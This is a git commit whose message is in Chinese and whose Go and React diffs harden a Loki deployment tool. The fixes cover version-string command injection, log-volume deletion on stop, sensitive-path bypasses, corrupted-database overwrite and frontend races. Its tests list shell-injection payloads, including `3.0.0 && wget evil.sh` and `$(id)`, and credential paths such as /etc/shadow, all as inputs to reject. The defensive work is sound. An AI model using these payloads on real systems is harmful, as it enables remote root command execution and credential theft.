fix(security,data): P0 — 命令注入/停止毁数据/采集路径绕过/DB 清库/前端竞态

后端(实机 10.10.10.161 验证 host-binary 全链路 + 注入双路径 400):
- Loki 版本号严格 ^\d+.\d+.\d+$ 校验并接入 Update 路径:version 拼进 SSH shell 命令,
  旧校验放行 3.0.0'; id; echo ' 等注入载荷(root RCE)
- Stop/Restart 清理清单移除 PVC:停止部署曾连带删除 loki-data PVC,filesystem 存储日志被永久清空(测试锁死红线)
- 采集敏感路径防护覆盖默认 LogPath 分支与 collector Create(/etc/shadow 不再可绕过入库)
- 数据文件损坏时原文件改名 .corrupt-* 留档再空库启动,不再被静默覆盖(loadFromDisk 抽出可测)

前端:
- 审计页用户名过滤 300ms 防抖 + AbortController/版本号(逐键竞态数据错乱)
- 向导自动部署改用创建返回实例(或 id 最大且 pending),不再盲取 list[0] 对错误实例发起真实部署
- 路由级 ErrorBoundary:单页崩溃/chunk 404 只影响当前页
This commit is contained in:
opsx committed 2026-10-29 13:02:11 +08:00
1 parent 5e59347c40
commit 2975452c21
17 files changed
+271 -68

No files matched your search

+63 -43
View File
@@ -539,50 +539,25 @@ func (d *JsonDB) migrateSchema() bool {
return true
}
func InitDB() error {
cfg := config.GetConfig()
_ = os.MkdirAll(cfg.DataDir, 0700)
d := &JsonDB{
dataFile: cfg.DatabasePath,
Users: []models.User{},
Clusters: []models.Cluster{},
Hosts: []models.Host{},
Storages: []models.StorageConfig{},
Deployments: []models.LokiDeployment{},
Collectors: []models.Collector{},
Logs: []models.DeploymentLog{},
Settings: []models.SystemSetting{},
LogSources: []models.LogSource{},
AlertRules: []models.AlertRule{},
AlertDeliveries: []models.AlertDelivery{},
NotifyChannels: []models.NotifyChannel{},
LogPolicyGroups: []models.LogPolicyGroup{},
AuditLogs: []models.AuditLog{},
DailyVolumeSnapshots: []models.DailyVolumeSnapshot{},
SchemaVersion: CurrentSchemaVersion,
sequences: map[string]uint{
"users": 0,
"clusters": 0,
"hosts": 0,
"storages": 0,
"deployments": 0,
"collectors": 0,
"logs": 0,
"logPolicyGroups": 0,
"logSources": 0,
"notifyChannels": 0,
"alertRules": 0,
"alertDeliveries": 0,
"auditLogs": 0,
"dailyVolumeSnapshots": 0,
},
saveChan: make(chan saveRequest, 10),
stopChan: make(chan struct{}),
}
// loadFromDisk 读取并解析数据文件,重建 ID 序列;文件损坏时备份留档绝不覆盖。
func (d *JsonDB) loadFromDisk() {
if data, err := os.ReadFile(d.dataFile); err == nil {
if err := json.Unmarshal(data, d); err == nil {
if err := json.Unmarshal(data, d); err != nil {
// 损坏的数据文件可能已被部分填充,绝不能让随后的空库落盘覆盖原文件:
// 先把原文件改名留档,再清回空库继续启动(seed 会重建 admin)。
// 改名失败(权限/只读)时宁可退出,也不销毁可能可恢复的数据。
backup := fmt.Sprintf("%s.corrupt-%s", d.dataFile, time.Now().Format("20060102-150405"))
if renameErr := os.Rename(d.dataFile, backup); renameErr != nil {
log.Fatalf("[db] 数据文件 %s 解析失败(%v)且无法备份(%v),为避免覆盖可恢复数据进程退出,请人工处理", d.dataFile, err, renameErr)
}
log.Printf("[ERROR] [db] 数据文件 %s 解析失败(%v),原文件已备份为 %s,以空库继续启动", d.dataFile, err, backup)
d.Users, d.Clusters, d.Hosts, d.Storages = nil, nil, nil, nil
d.Deployments, d.Collectors, d.Logs, d.Settings = nil, nil, nil, nil
d.LogSources, d.AlertRules, d.AlertDeliveries = nil, nil, nil
d.NotifyChannels, d.LogPolicyGroups, d.AuditLogs = nil, nil, nil
d.DailyVolumeSnapshots = nil
d.SchemaVersion = 0
} else {
d.sequences = map[string]uint{}
for _, u := range d.Users {
if u.ID > d.sequences["users"] {
@@ -661,6 +636,51 @@ func InitDB() error {
}
}
}
func InitDB() error {
cfg := config.GetConfig()
_ = os.MkdirAll(cfg.DataDir, 0700)
d := &JsonDB{
dataFile: cfg.DatabasePath,
Users: []models.User{},
Clusters: []models.Cluster{},
Hosts: []models.Host{},
Storages: []models.StorageConfig{},
Deployments: []models.LokiDeployment{},
Collectors: []models.Collector{},
Logs: []models.DeploymentLog{},
Settings: []models.SystemSetting{},
LogSources: []models.LogSource{},
AlertRules: []models.AlertRule{},
AlertDeliveries: []models.AlertDelivery{},
NotifyChannels: []models.NotifyChannel{},
LogPolicyGroups: []models.LogPolicyGroup{},
AuditLogs: []models.AuditLog{},
DailyVolumeSnapshots: []models.DailyVolumeSnapshot{},
SchemaVersion: CurrentSchemaVersion,
sequences: map[string]uint{
"users": 0,
"clusters": 0,
"hosts": 0,
"storages": 0,
"deployments": 0,
"collectors": 0,
"logs": 0,
"logPolicyGroups": 0,
"logSources": 0,
"notifyChannels": 0,
"alertRules": 0,
"alertDeliveries": 0,
"auditLogs": 0,
"dailyVolumeSnapshots": 0,
},
saveChan: make(chan saveRequest, 10),
stopChan: make(chan struct{}),
}
d.loadFromDisk()
migratedLogAccess := migrateLogAccessToGroups(d)
// 结构版本迁移(审计表、采集项等新字段的兼容处理)
migratedSchema := d.migrateSchema()
+42
View File
@@ -0,0 +1,42 @@
package repository
import (
"os"
"path/filepath"
"strings"
"testing"
)
// TestInitDBCorruptedFileIsNotOverwritten 数据文件损坏时,原内容必须以 .corrupt-* 备份留档,
// 不允许被随后的空库落盘覆盖(可恢复数据销毁 = P0)。
func TestInitDBCorruptedFileIsNotOverwritten(t *testing.T) {
dir := t.TempDir()
dataFile := filepath.Join(dir, "lokistack.json")
corrupt := "{not valid json"
if err := os.WriteFile(dataFile, []byte(corrupt), 0o600); err != nil {
t.Fatal(err)
}
d := &JsonDB{dataFile: dataFile}
d.loadFromDisk()
// 模拟启动后任意一次落盘:损坏原文若未被移走,这里就会覆盖它
if err := d.doSaveInner(); err != nil {
t.Fatalf("空库落盘失败: %v", err)
}
entries, err := os.ReadDir(dir)
if err != nil {
t.Fatal(err)
}
backedUp := false
for _, e := range entries {
if strings.HasPrefix(e.Name(), "lokistack.json.corrupt-") {
content, readErr := os.ReadFile(filepath.Join(dir, e.Name()))
if readErr == nil && string(content) == corrupt {
backedUp = true
}
}
}
if !backedUp {
t.Fatalf("损坏原文未被完整备份留档: %v", entries)
}
}
+11
View File
@@ -229,6 +229,17 @@ func (s *CollectorService) Create(req *CreateCollectorRequest) (*models.Collecto
return nil, fmt.Errorf("Sidecar 采集器需要填写目标 Deployment 名称")
}
// 入库前统一校验采集项(含敏感路径拦截):Create 也要挡,
// 否则坏数据先落库、部署时才报错(Update 已有校验)
if err := models.ValidateScrapeJobs(req.ScrapeJobs); err != nil {
return nil, err
}
if strings.TrimSpace(req.LogPath) != "" {
if err := models.ValidateScrapeJobs([]models.ScrapeJob{{Name: "app", Paths: strings.Split(req.LogPath, ",")}}); err != nil {
return nil, err
}
}
refType := "cluster"
if req.Type == "host-promtail" {
refType = "host"
+10 -3
View File
@@ -4,6 +4,7 @@ import (
"context"
"fmt"
"net"
"regexp"
"strconv"
"strings"
"sync"
@@ -255,6 +256,9 @@ func (s *DeploymentService) Update(id uint, updates map[string]interface{}) erro
db.Deployments[i].Description = v
}
if v, ok := updates["version"].(string); ok && v != "" {
if err := ValidateLokiVersion(v); err != nil {
return err
}
db.Deployments[i].Version = v
}
if v, ok := updates["namespace"].(string); ok && v != "" {
@@ -601,17 +605,20 @@ func (s *DeploymentService) getEndpoint(d *models.LokiDeployment) string {
// ==================== 版本兼容性检查 ====================
// ValidateLokiVersion 检查 Loki 版本是否在支持列表中且满足最低版本要求
// lokiVersionPattern 版本号会被拼进主机上的 shell 命令(下载 URL 等),
// 只放行纯数字三段式,从根上杜绝引号/命令替换等注入
var lokiVersionPattern = regexp.MustCompile(`^\d+\.\d+\.\d+$`)
func ValidateLokiVersion(version string) error {
if version == "" {
return nil // 使用默认值,不报错
}
// 基本格式验证
parts := strings.Split(version, ".")
if len(parts) < 2 {
if !lokiVersionPattern.MatchString(version) {
return fmt.Errorf("版本号格式无效: %s,期望格式如 3.0.0", version)
}
parts := strings.Split(version, ".")
major, err := strconv.Atoi(parts[0])
if err != nil {
return fmt.Errorf("无法解析主版本号: %s", version)
@@ -0,0 +1,32 @@
package services
import "testing"
// TestValidateLokiVersionRejectsShellMetacharacters 版本号会拼进主机 shell 命令(下载 URL 等),
// 必须只放行纯数字三段式,杜绝命令注入。
func TestValidateLokiVersionRejectsShellMetacharacters(t *testing.T) {
bad := []string{
`3.0.0'; id; echo '`,
`2.8.9$(id)`,
`3.0.0;id`,
`3.0.0 && wget evil.sh`,
"3.0.0\nid",
"3.0.0`id`",
`v3.0.0`,
`3.0`,
`3.0.0-beta`,
`3..0`,
` 3.0.0`,
}
for _, version := range bad {
if err := ValidateLokiVersion(version); err == nil {
t.Errorf("ValidateLokiVersion(%q) 应被拒绝(shell 注入面)", version)
}
}
good := []string{"", "2.8.9", "3.0.0", "3.4.0"}
for _, version := range good {
if err := ValidateLokiVersion(version); err != nil {
t.Errorf("ValidateLokiVersion(%q) 不应报错: %v", version, err)
}
}
}
+13
View File
@@ -0,0 +1,13 @@
package services
import "testing"
// TestCleanupKindsNeverIncludePVC Stop/Restart 复用 CleanupLoki,
// 清理清单一旦加入 PVC 就会把 filesystem 存储的日志数据永久清空——用测试锁死这条红线。
func TestCleanupKindsNeverIncludePVC(t *testing.T) {
for _, item := range lokiCleanupKinds {
if item[0] == "persistentvolumeclaim" {
t.Fatalf("清理清单包含 PVC(%s):停止部署不得删除日志数据,如需卸载清理请走显式的删除流程", item[1])
}
}
}
+10 -1
View File
@@ -216,13 +216,22 @@ func (d *LokiDeployer) log(level, message, detail string) {
// ==================== 清理 / 卸载 ====================
// lokiCleanupKinds 停止/清理时删除的 Kubernetes 资源清单。
// 刻意不包含 persistentvolumeclaim(loki-data):Stop/Restart 也会走到这里,
// 删 PVC 等于把 filesystem 存储的日志数据永久清空——数据只随显式卸载流程处理。
var lokiCleanupKinds = [][2]string{
{"statefulset", "loki"},
{"service", "loki"},
{"configmap", "loki-config"},
}
func CleanupLoki(ctx context.Context, deployment *models.LokiDeployment) {
if deployment.Mode == "k8s-yaml" && deployment.Cluster != nil {
ns := deployment.Namespace
if ns == "" {
ns = "log"
}
for _, item := range [][2]string{{"statefulset", "loki"}, {"service", "loki"}, {"configmap", "loki-config"}, {"persistentvolumeclaim", "loki-data"}} {
for _, item := range lokiCleanupKinds {
_ = deleteK8sResource(ctx, deployment.Cluster, item[0], ns, item[1])
}
}
@@ -0,0 +1,25 @@
package services
import "testing"
// TestPromtailConfigForHostRejectsForbiddenDefaultLogPath 敏感路径防护不得只覆盖 ScrapeJobs 分支:
// 默认 LogPath 填 /etc/shadow、/root/.ssh/id_rsa 同样必须被拒绝(否则主机凭据被采进日志平台)。
func TestPromtailConfigForHostRejectsForbiddenDefaultLogPath(t *testing.T) {
bad := []string{"/etc/shadow", "/root/.ssh/id_rsa", "/proc/self/mem", "/etc/ssh/ssh_host_rsa_key"}
for _, path := range bad {
_, err := PromtailConfigForHost(HostPromtailOptions{
Hostname: "h1",
LogPath: path,
})
if err == nil {
t.Errorf("默认 LogPath=%q 应被拒绝(敏感路径)", path)
}
}
// 正常业务路径不受影响
if _, err := PromtailConfigForHost(HostPromtailOptions{
Hostname: "h1",
LogPath: "/var/log/app/*.log",
}); err != nil {
t.Errorf("正常 LogPath 不应报错: %v", err)
}
}
+5 -1
View File
@@ -116,8 +116,12 @@ scrape_configs:
return b.String(), nil
}
// 默认 1:应用日志
// 默认 1:应用日志(与 ScrapeJobs 分支同款敏感路径校验,
// 否则 /etc/shadow 之类可从 LogPath 绕过防线被采进日志平台)
if path := strings.TrimSpace(o.LogPath); path != "" {
if err := models.ValidateScrapeJobs([]models.ScrapeJob{{Name: "app", Paths: splitPaths(path)}}); err != nil {
return "", err
}
rendered, err := renderScrapeJob(models.ScrapeJob{
Name: "app",
Paths: splitPaths(path),
+5 -1
View File
@@ -3,6 +3,7 @@ import { Routes, Route, Navigate, useLocation } from 'react-router'
import { Toaster } from '@/components/ui/sonner'
import { isLoggedIn, getUser } from '@/lib/auth-storage'
import { routes, findRouteMeta } from '@/router/routes'
import ErrorBoundary from '@/components/ErrorBoundary'
import { useTranslation } from 'react-i18next'
const Layout = lazy(() => import('@/components/Layout'))
@@ -65,7 +66,10 @@ const App = memo(function App() {
path={route.path}
element={
route.auth ? (
<RequireAuth>{<route.component />}</RequireAuth>
<RequireAuth>
{/* 页面级错误边界:单页崩溃/chunk 加载失败只影响当前页,侧栏与其它路由仍可用 */}
<ErrorBoundary key={route.path}>{<route.component />}</ErrorBoundary>
</RequireAuth>
) : (
<Suspense fallback={<AppLoadingFallback />}>
<route.component />
+3 -2
View File
@@ -88,12 +88,13 @@ export interface RestoreResult {
export const systemApi = {
// 审计
auditList: (params: AuditListParams = {}) =>
auditList: (params: AuditListParams = {}, opts?: { signal?: AbortSignal }) =>
http.get<{ list: AuditLog[]; total: number; page: number; pageSize: number }>(
`/audit-logs${buildQuery(params as Record<string, unknown>)}`,
opts,
),
auditGet: (id: number) => http.get<AuditLog>(`/audit-logs/${id}`),
auditStats: () => http.get<AuditStats>('/audit-logs/stats'),
auditStats: (opts?: { signal?: AbortSignal }) => http.get<AuditStats>('/audit-logs/stats', opts),
// 自检
selfCheck: () => http.get<SelfCheckResult>('/system/self-check'),
+11
View File
@@ -0,0 +1,11 @@
import { useEffect, useState } from 'react'
/** 防抖值:输入类过滤(如用户名逐键)先防抖再触发请求,避免每个键一组查询 */
export function useDebouncedValue<T>(value: T, delayMs = 300): T {
const [debounced, setDebounced] = useState(value)
useEffect(() => {
const timer = window.setTimeout(() => setDebounced(value), delayMs)
return () => window.clearTimeout(timer)
}, [value, delayMs])
return debounced
}
+1
View File
@@ -47,6 +47,7 @@ const wizard = {
hint: 'Object storage (MinIO / RustFS / S3 / OSS) recommended; skip to use local disk.',
},
deploy: {
autoTriggerFailed: 'Auto deploy failed; trigger it manually on the Deploy Loki page',
meta: '{{mode}} · Namespace {{namespace}} · {{endpoint}}',
endpointPending: 'endpoint available after deployment',
openGrafana: 'Open log query ({url})',
+1
View File
@@ -48,6 +48,7 @@ const wizard = {
hint: '推荐对象存储(MinIO / RustFS / S3 / OSS),更可靠;跳过则使用本地磁盘。',
},
deploy: {
autoTriggerFailed: '自动触发部署失败,请到「部署 Loki」页手动触发',
meta: '{{mode}} · 命名空间 {{namespace}} · {{endpoint}}',
endpointPending: 'endpoint 待部署完成生成',
openGrafana: '打开日志查询({{url}})',
+20 -5
View File
@@ -1,4 +1,4 @@
import { memo, useCallback, useEffect, useState } from 'react'
import { memo, useCallback, useEffect, useRef, useState } from 'react'
import { useTranslation } from 'react-i18next'
import { History, ShieldAlert, Search, RefreshCw, Eye } from 'lucide-react'
import '@/i18n/domains'
@@ -10,6 +10,7 @@ import { LoadingSpinner } from '@/components/LoadingSpinner'
import { EmptyState } from '@/components/EmptyState'
import { ErrorState } from '@/components/ErrorState'
import { PaginationBar } from '@/components/PaginationBar'
import { useDebouncedValue } from '@/hooks/useDebouncedValue'
import { systemApi, type AuditLog, type AuditStats } from '@/api/system'
import { toast } from 'sonner'
@@ -176,27 +177,41 @@ export default function AuditPage() {
const [module, setModule] = useState('')
const [statusFilter, setStatusFilter] = useState(0)
// 乱序/重复防护:AbortController 取消上一轮 + 版本号丢弃过期响应;
// username 是逐键输入,先防抖 300ms 再触发,避免每个键一组请求
const abortRef = useRef<AbortController | null>(null)
const versionRef = useRef(0)
const load = useCallback(async () => {
abortRef.current?.abort()
const controller = new AbortController()
abortRef.current = controller
const version = ++versionRef.current
setLoading(true)
setError(null)
try {
const [res, st] = await Promise.all([
systemApi.auditList({ page, pageSize: PAGE_SIZE, username, module, status: statusFilter }),
systemApi.auditStats(),
systemApi.auditList({ page, pageSize: PAGE_SIZE, username, module, status: statusFilter }, { signal: controller.signal }),
systemApi.auditStats({ signal: controller.signal }),
])
if (version !== versionRef.current) return
setList(Array.isArray(res.list) ? res.list : [])
setTotal(res.total ?? 0)
setStats(st ?? null)
} catch (e) {
if (version !== versionRef.current || (e as Error).name === 'AbortError') return
setError(e instanceof Error ? e.message : t('loadFailed'))
} finally {
setLoading(false)
if (version === versionRef.current) setLoading(false)
}
}, [page, username, module, statusFilter, t])
const debouncedUsername = useDebouncedValue(username, 300)
useEffect(() => {
void load()
}, [load])
return () => { abortRef.current?.abort() }
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [page, debouncedUsername, module, statusFilter])
// 过滤条件变化时回到第一页,避免停在空白页
useEffect(() => {
@@ -42,7 +42,7 @@ interface DeploymentFormDialogProps {
open: boolean
onOpenChange: (open: boolean) => void
/** 创建成功回调(父级刷新列表并回到第 1 页) */
onCreated: () => void
onCreated: (created?: { id: number; name: string }) => void
clusters: Cluster[]
hosts: Host[]
storages: StorageConfig[]
@@ -98,7 +98,7 @@ export const DeploymentFormDialog = memo(function DeploymentFormDialog({
const onSubmit = form.handleSubmit(async (values) => {
setSubmitting(true)
try {
await deploymentApi.create({
const created = await deploymentApi.create({
name: values.name,
description: values.description,
version: values.version,
@@ -117,7 +117,7 @@ export const DeploymentFormDialog = memo(function DeploymentFormDialog({
storageSize: values.storageSize,
})
onOpenChange(false)
onCreated()
onCreated(created)
} catch (err) {
toast.error(err instanceof Error ? err.message : t('form.errCreate'))
} finally {
@@ -41,19 +41,26 @@ export const StepDeploy = memo(function StepDeploy({
const [open, setOpen] = useState(false)
const [deploying, setDeploying] = useState<number | null>(null)
const handleCreated = async () => {
const handleCreated = async (created?: { id: number; name: string }) => {
onChanged()
// 创建成功即自动触发部署,向导内完成闭环
try {
const list = await deploymentApi.list({ page: 1, pageSize: 5 })
const latest = list.list[0]
if (latest && latest.status === 'pending') {
setDeploying(latest.id)
await deploymentApi.deploy(latest.id)
toast.info(t('deploy.deployTriggered', { name: latest.name }))
// 优先用创建接口返回的实例;拿不到时按「id 最大且 pending」匹配,
// 绝不盲取 list[0] —— 并发创建/排序变化会对错误实例发起真实部署
let target = created
if (!target) {
const list = await deploymentApi.list({ page: 1, pageSize: 5 })
const pending = list.list.filter(item => item.status === 'pending')
target = pending.sort((a, b) => b.id - a.id)[0]
}
} catch {
// 列表/触发失败不打断向导,用户可到部署页手动触发
if (target) {
setDeploying(target.id)
await deploymentApi.deploy(target.id)
toast.info(t('deploy.deployTriggered', { name: target.name }))
}
} catch (e) {
// 自动触发失败不打断向导,但要让用户知道需要去部署页手动触发
toast.error(e instanceof Error ? e.message : t('deploy.autoTriggerFailed'))
} finally {
setDeploying(null)
}